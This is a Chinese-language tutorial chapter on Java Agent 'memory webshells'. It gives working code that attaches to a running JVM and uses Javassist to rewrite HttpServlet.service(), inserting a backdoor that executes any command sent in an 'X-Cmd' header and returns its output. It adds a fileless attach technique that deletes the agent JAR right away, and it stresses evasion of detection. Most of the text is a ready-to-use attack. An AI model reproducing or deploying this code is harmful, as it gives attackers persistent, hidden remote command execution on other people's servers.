内存马 - 04 Agent型内存马

Agent 型内存马是最高级的形式,可以修改任意已加载类的字节码,几乎无法通过常规手段检测

Java Agent 基础

什么是 Java Agent

Java Agent 是 JVM 提供的一种机制,允许在类加载前后修改类的字节码。它是 JVM 级别的 AOP

两种加载方式

方式 时机 入口方法 参数
premain JVM 启动时(-javaagent 参数) premain(String, Instrumentation) 启动参数
agentmain JVM 运行时(Attach API) agentmain(String, Instrumentation) 运行时附加

内存马主要使用 agentmain —— 因为目标 JVM 已经在运行了

MANIFEST.MF 配置

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: com.evil.AgentMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.evil.AgentMain

Instrumentation API

核心接口

1
2
3
4
5
6
7
8
9
10
public interface Instrumentation {
// 添加类转换器
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
// 重新转换已加载的类
void retransformClasses(Class<?>... classes);
// 重新定义类
void redefineClasses(ClassDefinition... definitions);
// 获取所有已加载的类
Class<?>[] getAllLoadedClasses();
}

ClassFileTransformer

1
2
3
4
5
6
7
8
9
10
public interface ClassFileTransformer {
byte[] transform(
ClassLoader loader,
String className, // 如 "javax/servlet/http/HttpServlet"
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer // 原始字节码
) throws IllegalClassFormatException;
// 返回修改后的字节码,返回 null 表示不修改
}

Agent 型内存马的思路

不是新增组件,而是 修改已有类的行为

常见修改目标

目标类 修改方法 效果
javax.servlet.http.HttpServlet service() 所有 Servlet 都会执行恶意代码
o.a.c.core.ApplicationFilterChain doFilter() 在 Filter 链中插入恶意逻辑
o.s.web.servlet.DispatcherServlet doDispatch() Spring MVC 请求入口
o.a.c.valves.AccessLogValve invoke() 利用日志 Valve

核心优势

  1. 无新增组件:不注册新的 Filter/Servlet,仅修改已有类
  2. 极难检测:检测工具通常只检查新增组件,不会逐个检查已有类的字节码
  3. 范围可控:可以精确修改目标方法的特定行为

实现步骤

Step 1: 编写 Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class MemShellAgent {
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new EvilTransformer(), true);
Class<?>[] allClasses = inst.getAllLoadedClasses();
for (Class<?> clazz : allClasses) {
if (clazz.getName().equals(
"javax.servlet.http.HttpServlet")) {
try {
inst.retransformClasses(clazz);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}

Step 2: 编写 ClassFileTransformer(使用 Javassist)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class EvilTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if (!"javax/servlet/http/HttpServlet".equals(className)) {
return null; // 不修改
}
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new LoaderClassPath(loader));
CtClass ctClass = pool.get("javax.servlet.http.HttpServlet");
CtMethod serviceMethod = ctClass.getDeclaredMethod("service");

// 在 service 方法开头插入恶意代码
String code = "{"
+ "javax.servlet.http.HttpServletRequest req = "
+ " (javax.servlet.http.HttpServletRequest)$1;"
+ "javax.servlet.http.HttpServletResponse resp = "
+ " (javax.servlet.http.HttpServletResponse)$2;"
+ "String cmd = req.getHeader(\"X-Cmd\");"
+ "if (cmd != null) {"
+ " Process p = Runtime.getRuntime().exec(cmd);"
+ " java.io.InputStream in = p.getInputStream();"
+ " byte[] buf = new byte[4096];"
+ " int len;"
+ " StringBuilder sb = new StringBuilder();"
+ " while ((len = in.read(buf)) != -1) {"
+ " sb.append(new String(buf, 0, len));"
+ " }"
+ " resp.getWriter().write(sb.toString());"
+ " resp.getWriter().flush();"
+ " return;"
+ "}"
+ "}";
serviceMethod.insertBefore(code);

byte[] result = ctClass.toBytecode();
ctClass.detach();
return result;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

Step 3: 打包为 Agent JAR

1
2
javac -cp javassist.jar com/evil/MemShellAgent.java com/evil/EvilTransformer.java
jar cfm agent.jar MANIFEST.MF com/evil/*.class

Step 4: Attach 到目标 JVM

1
2
3
VirtualMachine vm = VirtualMachine.attach(targetPid);
vm.loadAgent("/path/to/agent.jar");
vm.detach();

无文件 Attach(进阶)

传统方式需要 Agent JAR 文件落地,可以通过以下方式避免:

方式1:内存中构造 JAR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ByteArrayOutputStream baos = new ByteArrayOutputStream();
JarOutputStream jos = new JarOutputStream(baos, manifest);
JarEntry entry = new JarEntry("com/evil/MemShellAgent.class");
jos.putNextEntry(entry);
jos.write(agentClassBytes);
jos.closeEntry();
jos.close();

// 写入临时文件并立即删除
Path tmpJar = Files.createTempFile("agent", ".jar");
Files.write(tmpJar, baos.toByteArray());
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(tmpJar.toString());
vm.detach();
Files.delete(tmpJar); // 立即删除

方式2:Self-Attach(JDK 9+)

1
2
3
// JDK 9+ 可以 attach 到自身进程
// 需要 -Djdk.attach.allowAttachSelf=true
Instrumentation inst = ByteBuddyAgent.install();

Agent 型 vs Servlet 型对比

维度 Servlet 型 Agent 型
修改方式 新增组件 修改已有类
检测难度 可枚举组件发现 需要对比字节码
依赖 需要 Tomcat/Spring 内部 API 需要 Instrumentation
复杂度 中等
持久性 重启消失 重启消失(除非 premain)
副作用 可能与现有组件冲突 可能导致类行为异常

练习

  1. 编写一个简单的 Java Agent,在 HttpServlet.service() 方法入口打印日志
  2. 使用 Attach API 将 Agent 附加到运行中的 Tomcat
  3. 修改 Agent,加入命令执行功能(仅在特定 Header 存在时触发)
  4. 思考:如何检测一个类的字节码是否被 Agent 修改过?

上一章 目录 下一章
03-Spring型内存马 内存马 05-反序列化与内存马